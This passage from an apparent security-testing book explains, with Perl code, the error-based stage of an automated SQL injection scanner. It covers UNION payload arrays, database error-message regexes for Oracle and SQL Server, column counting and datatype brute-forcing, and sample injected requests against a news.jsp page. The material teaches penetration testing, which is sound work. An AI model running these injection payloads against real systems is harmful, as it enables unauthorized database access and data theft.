if statements before we begin the error-based
logic. Let''s look at all the main script body logic
we have constructed thus far with respect to SQL injection testing:
$sqlVuln = &sqlTest;
if ($sqlVuln != 0) {
$sqlOrVuln = &sqlOrTest;
if ($sqlOrVuln ne "false") {
if ($sqlOrVuln =~ /--$/) {
$sqlColumnVuln = &sqlBlindColumnTest;
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlBlindDataTypeTest;
}
}
To recap, we start by performing the initial single-quote test on the
specific parameter at hand (sqlTest). If the value
returned by sqlTest is not 0,
we perform generic OR 1=1
testing against the injection point (sqlOrTest) to
confirm that the injection point exists and is exploitable. If the
sqlOrTest routine resulted in success, we inspect
the exploit string it used to see if it ends in a double hyphen
(required for blind routines). If a double hyphen was used, we
attempt to perform blind column enumeration using the
sqlBlindColumnTest subroutine. Based on the
success or failure of the sqlBlindColumnTest
routine, we attempt to perform blind datatype enumeration using the
sqlBlindDataTypeTest subroutine.
At this point, we are still inside the if
statement, indicating that sqlOrTest was
successful, and we must decide whether we want to run the first of
three error-based injection routines. We run the error-based test
routines only if any of the following two criteria are met:
The $sqlColumnVuln variable is equal to
0 (meaning the blind column test either failed or
was not performed).
The $sqlDataTypeVuln variable is not set to
true (meaning the blind column datatype test
either failed or was not performed).
To continue providing example execution, we will change some of the
assumptions we are working under. Specifically, we will assume the
Oracle instance we are attempting to exploit does not support the
double-hyphen comment marker and that the application server returns
detailed stack trace information in the event of an unhandled error.
Based on these new assumptions, the value of
$sqlVuln is now 1.
Additionally, the blind routines were not invoked based on the value
that was returned by sqlOrTest (assigned to
$sqlOrVuln):
1'')%20OR%20(''1''%3D''1
If either of these two conditions exists, we move into the
error-based routines and call the first of three subroutines
(sqlUnionTest):
if (($sqlColumnVuln == 0) || ($sqlDataTypeVuln ne "true")) {
$sqlUnionVuln = &sqlUnionTest;
The purpose of sqlUnionTest is to detect whether a
UNION query is possible based on the error message
the database server returns. In all three error-based subroutines, we
look for the presence or absence of specific known error messages for
each database type. To do this, first we must define those error
messages for each supported database server. Essentially we are
looking for three specific error messages (one in each subroutine).
The first of these messages is used to determine if a
UNION query is possible given the exploit syntax.
Most database servers (including Oracle and Microsoft SQL Server)
verify that all tables you are running a query against in a
UNION actually exist before they check to see if
you have the right number of columns and datatypes. As such, a
UNION query attempt to a nonexistent table
typically generates an error indicating the table does not exist. The
first error-based subroutine attempts to run a
UNION query against a nonexistent table and checks
to see if this specific error message is returned. This error message
is also used to determine the type of database server we are
exploiting because the error messages differ depending on the type of
server being queried.
The second error message is used to determine whether the
UNION query contains the correct number of
columns. Once we attempt to query a valid table within the
UNION query, the database should respond with an
error indicating that our query must have the same number of columns
as the original query. We attempt to brute-force the number of
columns in the original query by continuing to add columns to the
UNION query until this error goes away.
The third and last error message is used to determine the appropriate
datatype in each column position. Once we have the right number of
columns in our UNION query, the database server
should return an error indicating that the datatypes in each column
must match those in the original query. Our script proceeds to
brute-force the correct datatype combination by attempting every
possible combination of datatypes within the allotted number of
columns.
Now that we know how the three error messages are used,
we will develop a regular expression to identify each of them. Table 9-6 shows the actual message returned by both
Oracle and SQL Server under each of the aforementioned scenarios.
Database server | Error type | Error message |
---|---|---|
Oracle | Invalid table in UNION (two possible messages) | Table or view does not existorInvalid table name |
Incorrect number of columns in UNION | Query block has incorrect number of result columns. | |
Incorrect datatype in UNION | Expression must have same datatype as corresponding expression. | |
Microsoft SQL Server | Invalid table in UNION | Invalid object name. |
Incorrect number of columns in UNION | All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. | |
Incorrect datatype in UNION (tHRee possible messages) | Error converting datatype nvarchar to floator Syntax error converting the nvarchar value '''' to a column of datatype intor Operand type clash |
The regular expressions used to identify
each error message in Table 9-6 are included in
the %databaseInfo hash used to store all
database-specific information. We can add the following new hash
members along with the original ones we included during the blind
exploit test:
my %databaseInfo;
# MS-SQL
$databaseInfo{mssql}{tableName} =
"MASTER\.\.SYSDATABASES";
$databaseInfo{mssql}{dataTypes} =
["CONVERT(VARCHAR,1)","CONVERT(INT,1)"];
$databaseInfo{mssql}{unionError} =
qr /Invalid object name|Invalid table name/i;
$databaseInfo{mssql}{columnError} =
qr /All queries in an? SQL statement containing/i;
$databaseInfo{mssql}{dataTypeError} =
qr /error converting|Operand type clash/i;
# Oracle
$databaseInfo{oracle}{tableName} =
"ALL_TABLES";
$databaseInfo{oracle}{dataTypes} =
["TO_CHAR(1)","TO_NUMBER(1)","TO_DATE(''01'',''MM'')"];
$databaseInfo{oracle}{unionError} =
qr /table or view does not exist/i;
$databaseInfo{oracle}{columnError} =
qr /incorrect number of result columns/i;
$databaseInfo{oracle}{dataTypeError} =
qr /expression must have same datatype/i;
Now that we have defined the required error messages, we can look at
the first
subroutine (sqlUnionTest).
9.2.2.4 sqlUnionTest subroutine
The main purpose of this subroutine is
to determine not only whether the UNION query is
possible, but also the syntax for the query. Unlike the previous
routines, sqlUnionTest does not rely on the
exploit string generated by sqlOrTest to perform
its testing. Instead, this subroutine attempts to construct a
UNION exploit query from scratch. Because the
sqlOrTest routine is primarily concerned with
getting a query to run (not necessarily to return any data), it does
not always take into account the potential impact that additional
WHERE criteria appended to the injected data could
have on the specific records returned by the query. The
UNION test strings in this routine are
specifically designed to allow all records from the
UNION query to be returned, even if additional
WHERE criteria are appended to the injected input.
We begin this subroutine by defining an array of test strings used to
determine whether the UNION query can be run:
sub sqlUnionTest {
my @sqlUnionArray=(
"1%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1''%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1''\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1''\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1''\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
"1%20UNION%20ALL%20select%20FOO%20from%20BLAH",
"1''%20UNION%20ALL%20select%20FOO%20from%20BLAH",
"1%20UNION%20ALL%20select%20FOO%
20from%20BLAH%20where%201%3D1",
"1''%20UNION%20ALL%20select%20FOO%
20from%20BLAH%20where%20''1''%3D''1",
"1\)%20UNION%20ALL%20select%20FOO%
20from%20BLAH%20where%201%3D1%20OR\(1%3D1",
"1''\)%20UNION%20ALL%20select%20FOO%
20from%20BLAH%20where%20''1''%3D''1''%20OR(''1''%3D
''1",
"1\)\)%20UNION%20ALL%20select%20FOO%
20from%20BLAH%20where%201%3D1%20OR\(\(1%3D1",
"1''\)\)%20UNION%20ALL%20select%20FOO%
20from%20BLAH%20where%20''1''%3D''1''%20OR\((''1
''%3D''1",
"1\)\)\)%20UNION%20ALL%20select%20FOO%
20from%20BLAH%20where%201%3D1%20OR\(\((1%3
D1",
"1''\)\)\)%20UNION%20ALL%20select%20FOO%
20from%20BLAH%20where%20''1''%3D''1''%20OR\(\(
\(''1''%3D''1"
);
Next, we declare the $sqlUnionSuccess variable in
the same manner as we did the blind routines. This variable
ultimately is used to determine whether the test was successful, so
we declare it with a value of false. Then we move
right into a for loop on the
@sqlUnionArray array, where we cycle through each
UNION test string and use
$paramRequest to make a test request containing
the test string in lieu of the placeholder value:
foreach my $sqlUnion (@sqlUnionArray) {
if ($sqlUnionSuccess eq "false") {
# Replace the "---PLACEHOLDER---" string with our test string
my $sqlUnionTest = $paramRequest;
$sqlUnionTest =~ s/---PLACEHOLDER---/$sqlUnion/;
# Make the request and get the response data
my ($sqlUnionStatus, $sqlUnionResults) = makeRequest($sqlUnionTest);
Before each loop iteration we check to make sure
$sqlUnionSuccess is still equal to
false. After each request, we perform a nested
loop through each key in the %databaseInfo hash
(essentially each database type) and inspect the test response to
determine if it contains the unionError message
defined for the key:
foreach my $dbType (keys %databaseInfo) {
if ($sqlUnionResults =~ $databaseInfo{$dbType}{unionError}) {
$sqlUnion =~ s/BLAH/$databaseInfo{$dbType}{tableName}/;
$sqlDbType = $dbType;
$sqlUnionSuccess = $sqlUnion;
}
As shown in the preceding code, if the specified regular expression
for a given database matches the response, we replace the table name
from the UNION test request
(BLAH) with the appropriate test table name from
the %databaseInfo hash, assign the current key
value ($dbType) to the
$sqlDbType variable (indicating that we have
successfully identified the database), and update
$sqlUnionSuccess to reflect the value of the new,
well-formed UNION test request. Finally, we close
out all our open loops, return the
$sqlUnionSuccess variable, and exit the
subroutine:
}
}
}
return $sqlUnionSuccess;
}
Table 9-7 lists example requests made by this
subroutine.
Test request | Result |
---|---|
GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F | General database error message |
GET /news.jsp?id=1''%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F | General database error message |
GET /news.jsp?id=1)%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F | General database error message |
GET /news.jsp?id=1'')%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F | General database error message |
GET /news.jsp?id=1))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F | General database error message |
GET /news.jsp?id=1''))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F | General database error message |
GET /news.jsp?id=1)))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F | General database error message |
GET /news.jsp?id=1'')))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F | General database error message |
GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO %20from%20BLAH&view=F | General database error message |
GET /news.jsp?id=1''%20UNION%20ALL%20select%20FOO %20from%20BLAH&view=F | General database error message |
GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%201%3D1&view=F | General database error message |
GET /news.jsp?id=1''%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%20''1''%3D''1&view=F | General database error message |
GET /news.jsp?id=1)%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%201%3D1%20OR | General database error message |
GET /news.jsp?id=1'')%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%20''1''%3D''1''%20OR(''1''%3D''1 &view=F | Oracle UNION error message |
Once the routine exits, we move back up to the main script body and
continue processing the test request. A check is performed against
the $sqlUnionVuln variable to determine if the
sqlUnionTest routine was successful. If so, we
check to see if we have already enumerated the number of columns for
the UNION query (previously done using
sqlBlindColumnTest). This scenario occurs if the
database server does not support null values in
UNION statements (such as in older versions of
Oracle) but still allows for column enumeration using the
ORDER BY method (used by
sqlBlindColumnTest):
if ($sqlUnionVuln ne "false") {
if ($sqlColumnVuln == 0) {
$sqlColumnVuln = &sqlColumnTest;
If the $sqlUnionVuln value is not set to
false and $sqlColumnVuln is set
to 0, the second of our three error-based
injection routines (sqlColumnTest) is called.
9.2.2.5 sqlColumnTest subroutine
As you have probably figured out, you use this
routine to enumerate the number of columns in the SQL query. Although
this subroutine''s intent is very similar to that of
sqlBlindColumnTest, its approach is a bit
different. Instead of using the ORDER BY
technique, this routine uses the UNION test
request obtained by sqlUnionTest (assigned to
$sqlUnionVuln) and inserts literal blank values
('''') into each UNION query
column. The routine starts with a one-column request and continues to
make additional requests until the correct number of columns is
added.
Upon entering the subroutine, we declare a column counter variable
(initially set at 0), and a success variable
(initially declared with a value of false), just
as in the previous subroutines:
sub sqlColumnTest {
my $sqlNumCols = 0;
my $sqlColumnSuccess = "false";
Next, we move right into the testing loop. First the loop constructs
a skeleton of the UNION request by substituting
the placeholder value in $paramRequest with the
exploit string used by sqlUnionTest (assigned to
$sqlUnionVuln):
do {
my $sqlColumnTest = $paramRequest;
$sqlColumnTest =~ s/---PLACEHOLDER---/$sqlUnionVuln/;
Next, the UNION query field list
(FOO) is replaced with a series of literal blank
values (two consecutive single quotes). These are essentially
placeholders similar to the "null"
strings used in sqlBlindDataTypeTest, but are
considered string values by most database servers. These values
should ultimately cause a datatype mismatch error once we get the
correct number of columns. The number of column placeholders depends
on the value of our column counter variable
($sqlNumCols), which starts at zero (resulting in
one column) and increments by one on every loop:
my $sqlColumnTestString = "%27%27".(",%27%27" x $sqlNumCols);
$sqlColumnTest =~ s/FOO/$sqlColumnTestString/;
Once the test request is made, the response is analyzed for the
presence of the columnError message for our
specific database:
# Make the request and get the response data
my ($sqlColumnStatus, $sqlColumnResults) = makeRequest($sqlColumnTest);
if ($sqlColumnResults !~ $databaseInfo{$sqlDbType}{columnError}) {
$sqlColumnSuccess = $sqlColumnTest;
}
$sqlNumCols++;
} until (($sqlColumnSuccess ne "false") || ($sqlNumCols > 200));
As shown in the preceding code, if the error is present, the loop
continues because the $sqlColumnSuccess variable
remains set to false. The loop continues until the
$sqlColumnSuccess variable is no longer set to
false (when the error is not present), or if the
column counter ($sq1NumCols) exceeds
200. We set the limit of 200 columns just as we
did with blind column testing because a number this large would be a
good indication that something else is preventing the query from
running. Once the error condition is absent, the script assumes it
has obtained the correct number of columns and updates the value of
$sqlColumnSuccess.
After the loop completes, a check is made to determine if
$sqlColumnSuccess is set to
false. If it isn''t, the current
value of the column counter ($sqlNumCols) is
returned; otherwise, the routine returns a value of
0, indicating failure. Note that although the
counter variable ($sqlNumCols) is typically one
less than the actual number of columns being tested, we incremented
this variable value after the last response. Once incremented, the
variable value is equal to the actual number of columns tested in the
previous loop:
if ($sqlColumnSuccess ne "false") {
return $sqlNumCols;
} else {
return 0;
}
}
Returning to our main script body, we are ready to call the final
error-based testing routine. First, we must close the conditional
if statement that checks to see if the number of
columns was already obtained. Next, we check the value of
$sqlColumnVuln to verify that we have obtained the
correct number of columns for the UNION query:
}
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlDataTypeTest;
Provided that the value of $sqlColumnVuln is not
0, we to call sqlDataTypeTest
to brute-force the correct datatype combination for the
UNION query.
9.2.2.6 sqlDataTypeTest subroutine
The final step in our error-based
UNION exploit is to brute-force the correct
datatype necessary for each column of the query. We open this
subroutine just as we did the others by declaring the success
variable with an initial value of false:
sub sqlDataTypeTest {
my $sqlDataTypeSuccess = "false";
Before we begin to actually brute-force the datatypes, we must
consider the number of possible attempts we might end up making here.
This routine attempts to make one request for every possible
combination of datatypes (included in the
%databaseInfo hash for the identified database
server) until it obtains the correct combination. Although this might
not take very long on a query containing five columns, we must
realize that as we add columns to our query the number of potential
datatype combinations grows at an exponential rate. This has
tremendous time implications for our scanner because it is not
multithreaded.
The total number of possible datatype combinations for a given query
is the number of different datatypes raised to the number of columns
in the query. For example, for a 12-column query using three
different datatypes (Oracle in our case), the number of possible
combinations is 531,441. If our scanner averages two requests per
second, it could take more than three days to brute-force the query.
To address the timing issue, we define an upper limit on the number
of query columns that our script attempts to brute-force. If this
limit is reached, we are still made aware of the vulnerability and
can decide to either pursue the exploit manually or adjust the limit
and rerun the script. We have initially set the upper column limit at
eight columns. Provided that our limit has not been exceeded by the
query, we then must generate the list of possible datatype
combinations. For this we have actually developed a dedicated
subroutine that returns an array containing every possible datatype
combination for the identified database using the number of columns
in our query. The subroutine is used to populate the
@sqlDataTypeDictionary array that is used to
perform our testing:
if ($sqlColumnVuln <= 8) {
my @sqlDataTypeDictionary = genRecurse( );
The subroutine used to generate the array
(genRecurse) is a recursive subroutine that
iterates through every possible datatype combination. The subroutine
is quite short and is shown here in its entirety:
sub genRecurse {
my $dd = shift;
my @seq = @_;
if ($dd >= $sqlColumnVuln) {
my $combo = join(",", @seq);
push (@dtCombinations, $combo);
} else {
foreach my $subReq (@{$databaseInfo{$sqlDbType}{dataTypes}}) {
genRecurse($dd + 1, @seq, $subReq);
}
}
return @dtCombinations;
}
You can see that the genRecurse subroutine
recursively loops through each member of the
%databaseInfo dataTypes
element. All unique datatype combinations are joined with commas and
are added to the @dtCombinations array (returned
by the subroutine).
Going back to sqlDataTypeTest, we declare a
counter variable ($sqlDictionaryPos) to keep track
of which array position within
@sqlDataTypeDictionary we are currently testing.
We do this to avoid performing a for loop on every
array member because the array could be quite large and we might
actually get the right datatype combination early on in the list:
my $sqlDictionaryPos = 0;
Once we begin the loop, we use the same technique used by
sqlColumnTest to build the skeleton of the request
based on the value of $sqlUnionVuln. Then we
replace the column value (FOO) with the current
member of the @sqlDataTypeDictionary array
(defined by the current $sqlDictionaryPos value)
and make the request:
do {
my $sqlDataTypeTest = $paramRequest;
$sqlDataTypeTest =~ s/---PLACEHOLDER---/$sqlUnionVuln/;
$sqlDataTypeTest =~ s/FOO/$sqlDataTypeDictionary[$sqlDictionaryPos]/;
my ($sqlDataTypeStatus, $sqlDataTypeResults) = makeRequest($sqlDataTypeTest);
Once the request has been made, we inspect the response using the
dataTypeError regular expression element defined
for our database in the %databaseInfo hash. If the
error is present, we increment our counter variable
($sqlDictionaryPos) and continue testing. If the
error is not present, we assume the datatype combination was correct
and update the success variable
($sqlDataTypeSuccess) in addition to notifying the
user:
if ($sqlDataTypeResults !~ $databaseInfo{$sqlDbType}{dataTypeError}) {
$sqlDataTypeSuccess = $sqlDataTypeTest;
printReport("\n\nALERT: Possible SQL
Injection Exploit:\n=> $sqlDataTypeTest\n\n");
}
$sqlDictionaryPos++;
} until (($sqlDataTypeSuccess ne "false") ||
($sqlDictionaryPos >= $#sqlDataTypeDictionary + 1));
As shown in the preceding code, the loop runs until the success
variable is updated or the counter variable
reaches the last member of the
@sqlDataTypeDictionary array (meaning we have
reached the end of the array with no success). Because this is the
final subroutine of the exploit engine, we close the subroutine
without returning a value:
}
else
printReport("\n\nALERT: SQL column limit exceeded ($sqlColumnVuln)\n\n");
}
}
At this point, let''s return to our main script body
to close out all the existing SQL-related logic and proceed to the
next parameter-based test. Here is the entire parameter-based control
logic:
## Perform input validation tests
$sqlVuln = &sqlTest;
if ($sqlVuln != 0) {
$sqlOrVuln = &sqlOrTest;
if ($sqlOrVuln ne "false") {
$sqlColumnVuln = 0;
$sqlDataTypeVuln = "false";
if ($sqlOrVuln =~ /--$/) {
$sqlColumnVuln = &sqlBlindColumnTest;
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlBlindDataTypeTest;
}
}
if (($sqlColumnVuln == 0) || ($sqlDataTypeVuln ne "true")) {
$sqlUnionVuln = &sqlUnionTest;
if ($sqlUnionVuln ne "false") {
if ($sqlColumnVuln == 0) {
$sqlColumnVuln = &sqlColumnTest;
}
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlDataTypeTest;
}
}
}
}
}
my $xssVuln = xssTest($paramRequest);
Now the script continues to perform additional tests we had in the
previous scanner, such as XSS (the only other parameter-based test)
and the directory-based testing routines.